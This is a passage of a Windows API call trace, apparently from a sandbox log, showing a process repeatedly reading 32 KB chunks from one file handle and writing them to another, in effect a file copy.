	[0263.115] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.115] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.116] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.116] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.117] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.117] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.117] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.137] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.144] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.144] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.145] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.145] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.146] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.147] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.148] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.148] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.149] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.149] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.150] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.150] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.151] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.151] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.152] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.153] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.154] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.158] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.159] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.159] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.160] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.160] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.161] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.161] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.161] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.162] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.162] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.162] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.163] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.163] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.164] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.165] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.167] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.167] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.168] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.168] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.169] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.169] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.169] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.169] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.170] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.170] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.171] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.171] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.171] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.172] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.172] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.173] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.174] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.175] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.175] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.175] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.176] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.176] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.177] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.177] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.177] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.178] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.178] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.179] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.179] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.179] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.180] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.201] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.205] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.205] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.206] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.206] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.206] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.207] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.207] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.207] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.208] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.208] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.209] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.209] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.210] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.210] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.210] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.211] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.213] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.213] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.213] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.214] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.214] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.215] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.215] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.216] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.216] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
